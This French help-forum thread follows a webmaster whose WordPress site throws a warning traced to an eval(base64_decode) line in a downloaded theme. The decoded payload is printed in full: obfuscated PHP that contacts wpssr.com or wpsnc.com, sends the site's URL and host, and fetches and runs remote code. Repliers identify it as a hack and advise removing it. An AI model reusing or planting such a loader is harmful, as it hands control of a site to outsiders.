Soucis Chmod ?
Résolu
Yaninho
Messages postés
530
Statut
Membre
-
Yaninho Messages postés 530 Statut Membre -
Yaninho Messages postés 530 Statut Membre -
Bonjour,
Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?
Voici le message :
La ligne en question est la suivante:
Merci
--
Fier d'être Normand!
Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?
Voici le message :
Warning: fclose(): supplied argument is not a valid stream resource in ......
La ligne en question est la suivante:
<?php eval(base64_decode('une série de chiffres et de lettres')) ?>
Merci
--
Fier d'être Normand!
Configuration: Windows XP SP3 Google Chrome Carte Graphique : Nvidia 7300GT Carte Mère : MSI K8N Neo 1,5Go de Ram DDR400 µProcesseur : AMD 64 3200+
4 réponses
-
Cela n'a rien à voir avec les droits.
Et cela ne vient pas non plus de cette ligne.
Il sert à quoi ton eval() ? -
D'accord, j'ai compris, même si je déteste ce genre de truc.
Pour débuguer, tu devrais faire un echo de base64_decode('une série de chiffres et de lettres') juste un avant la ligne de l'eval.-
Et voici le résultat.....Superbe non ? J'ai un peu indenté quand même.
if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
-
-
Tiens trouvé sur google...
http://209.85.229.132/search?q=cache:2Wv8dAReZdMJ:www.astucesdewebmaster.com/tag/wordpress+www.wpsnc.com&cd=1&hl=fr&ct=clnk&gl=fr
Vire cette ligne d'urgence, et vire ce thème en meme temps. -
télécharge des thèmes uniquement à partir du site officiel de l'application, le reste comme tu peux le constater n'est pas fiable ;)
Heureusement que leur site est out, sinon, tu n'aurais pas pu voir que ton site était hacké.
